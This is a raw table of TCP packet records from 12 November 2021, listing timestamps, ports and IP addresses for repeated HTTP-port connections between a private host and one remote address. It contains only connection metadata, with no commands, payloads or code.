Nov 12, 2021 22:24:09.423218966 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423233986 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423249006 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423258066 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.423264980 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423280001 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423295975 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.423336983 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.423590899 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423609972 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423625946 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423648119 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423662901 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423679113 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.423749924 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.423785925 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.423791885 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.445683002 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445708036 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445763111 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445777893 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445821047 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445837975 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445852995 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445858002 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.445871115 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445887089 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445904016 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445923090 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445930958 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.445938110 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445954084 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445971966 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.445986986 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446002960 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446192026 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446208954 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446252108 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446268082 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446283102 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446299076 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446314096 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446355104 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446368933 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446583986 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446624041 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446640968 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446659088 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446672916 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446690083 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446706057 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446719885 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446734905 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446748972 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446765900 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446783066 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.446795940 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.469374895 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.469392061 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.469407082 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.469420910 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.469435930 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.469451904 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.470472097 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.470488071 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.470501900 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.470519066 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.470534086 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.470549107 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.470563889 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.472786903 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.472903967 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.522130966 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.522612095 CET	50061	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.523852110 CET	50063	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.544883966 CET	80	50060	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.544935942 CET	80	50061	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.544982910 CET	50060	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.545079947 CET	50061	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.546423912 CET	80	50063	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.546540022 CET	50063	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.547374964 CET	50063	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.571237087 CET	80	50063	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.577625990 CET	80	50063	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.577749014 CET	50063	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.690998077 CET	50063	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.693309069 CET	50064	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.714709997 CET	80	50063	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.714795113 CET	50063	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.715626955 CET	80	50064	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.715742111 CET	50064	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.716557980 CET	50064	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.739084959 CET	80	50064	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.739108086 CET	80	50064	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.739125967 CET	80	50064	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.739192009 CET	50064	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.847477913 CET	50064	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.849047899 CET	50066	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.869913101 CET	80	50064	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.870045900 CET	50064	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.871284008 CET	80	50066	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.871409893 CET	50066	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.872169971 CET	50066	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:09.894447088 CET	80	50066	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.900198936 CET	80	50066	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:09.900299072 CET	50066	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.003500938 CET	50066	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.005706072 CET	50068	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.025963068 CET	80	50066	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.026108027 CET	50066	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.028062105 CET	80	50068	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.029020071 CET	50068	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.029752970 CET	50068	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.052086115 CET	80	50068	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.052141905 CET	80	50068	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.052155018 CET	80	50068	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.052398920 CET	50068	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.159648895 CET	50068	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.161211014 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.181993008 CET	80	50068	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.183362007 CET	50068	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.183660030 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.183782101 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.184468985 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.206938982 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.213953972 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.214087963 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.268330097 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.268608093 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.268991947 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.269248009 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.291078091 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.291500092 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.291516066 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.291524887 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.291564941 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.291610956 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.291646957 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.291687012 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.291727066 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.314171076 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314183950 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314204931 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314213037 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314263105 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314282894 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.314321041 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.314338923 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.314348936 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314378977 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314412117 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314439058 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314465046 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.314487934 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.314512014 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.314555883 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.332871914 CET	50071	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.336831093 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.336842060 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.336868048 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.336899996 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.336941957 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.336957932 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.336971045 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.336977959 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337017059 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337063074 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337109089 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337137938 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337165117 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337193012 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337254047 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337378025 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337397099 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337493896 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337502003 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337532997 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337548971 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.337620974 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.355201006 CET	80	50071	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.355317116 CET	50071	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.356167078 CET	50071	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.359456062 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.359471083 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.359488964 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.359544992 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.359591007 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.361993074 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.362076044 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.378473043 CET	80	50071	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.382844925 CET	80	50071	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.382950068 CET	50071	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.488972902 CET	50071	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.489387035 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.490957975 CET	50073	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.511573076 CET	80	50071	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.512300968 CET	80	50069	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.512518883 CET	50071	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.512542009 CET	50069	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.513741970 CET	80	50073	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.513902903 CET	50073	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.514760017 CET	50073	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.538672924 CET	80	50073	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.540616035 CET	80	50073	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.540859938 CET	50073	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.644006968 CET	50073	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.645723104 CET	50074	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.666395903 CET	80	50073	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.666523933 CET	50073	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.668498993 CET	80	50074	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.668936968 CET	50074	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.669621944 CET	50074	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.691939116 CET	80	50074	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.691987038 CET	80	50074	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.692003012 CET	80	50074	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.692451000 CET	50074	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.800587893 CET	50074	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.823291063 CET	80	50074	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.823534966 CET	50074	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.824949980 CET	50076	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.849025011 CET	80	50076	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.851859093 CET	50076	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.853035927 CET	50076	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.876044989 CET	80	50076	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.880379915 CET	80	50076	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:10.880522013 CET	50076	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.988337040 CET	50076	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:10.991185904 CET	50078	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.011080027 CET	80	50076	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.011188030 CET	50076	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.013808966 CET	80	50078	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.013957024 CET	50078	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.015224934 CET	50078	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.038093090 CET	80	50078	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.041621923 CET	80	50078	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.041747093 CET	50078	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.146960020 CET	50078	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.148940086 CET	50080	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.169624090 CET	80	50078	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.169830084 CET	50078	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.172046900 CET	80	50080	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.174027920 CET	50080	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.176049948 CET	50080	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.198659897 CET	80	50080	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.202600956 CET	80	50080	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.202742100 CET	50080	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.315979004 CET	50080	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.317404032 CET	50081	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.338797092 CET	80	50080	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.338924885 CET	50080	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.339862108 CET	80	50081	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.340065956 CET	50081	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.340658903 CET	50081	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.363044977 CET	80	50081	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.366655111 CET	80	50081	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.371006012 CET	50081	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.487991095 CET	50081	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.489532948 CET	50082	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.510492086 CET	80	50081	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.511992931 CET	50081	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.512531042 CET	80	50082	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.513334990 CET	50082	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.513751030 CET	50082	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.536058903 CET	80	50082	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.538675070 CET	80	50082	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.543705940 CET	50082	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.661689997 CET	50082	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.661756992 CET	50083	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.687546968 CET	80	50082	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.687566042 CET	80	50083	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.687700033 CET	50082	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.687868118 CET	50083	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.688886881 CET	50083	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.712410927 CET	80	50083	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.712512970 CET	80	50083	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.712528944 CET	80	50083	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.715706110 CET	50083	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.815671921 CET	50083	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.816858053 CET	50084	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.838172913 CET	80	50083	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.839065075 CET	80	50084	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.839168072 CET	50083	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.839226007 CET	50084	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.840039968 CET	50084	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.862812042 CET	80	50084	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.862828970 CET	80	50084	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.862843037 CET	80	50084	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.862915993 CET	50084	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.972660065 CET	50084	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.975095987 CET	50085	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.995053053 CET	80	50084	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.997342110 CET	80	50085	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:11.997472048 CET	50084	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.997559071 CET	50085	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:11.998836040 CET	50085	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.021071911 CET	80	50085	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.024379969 CET	80	50085	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.024563074 CET	50085	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.128478050 CET	50085	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.129606009 CET	50086	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.150989056 CET	80	50085	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.151910067 CET	80	50086	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.152414083 CET	50085	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.152556896 CET	50086	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.153428078 CET	50086	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.176489115 CET	80	50086	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.185367107 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.208116055 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.208250046 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.208982944 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.209177017 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.209367990 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.209464073 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.231218100 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231246948 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231532097 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231554985 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231595039 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231672049 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231719971 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231733084 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231744051 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231755972 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231767893 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231780052 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.231785059 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.231863022 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.254106998 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254139900 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254154921 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254170895 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254185915 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254199982 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254215002 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254230022 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254245043 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254259109 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254272938 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254282951 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.254287004 CET	80	50087	178.208.83.45	192.168.2.4
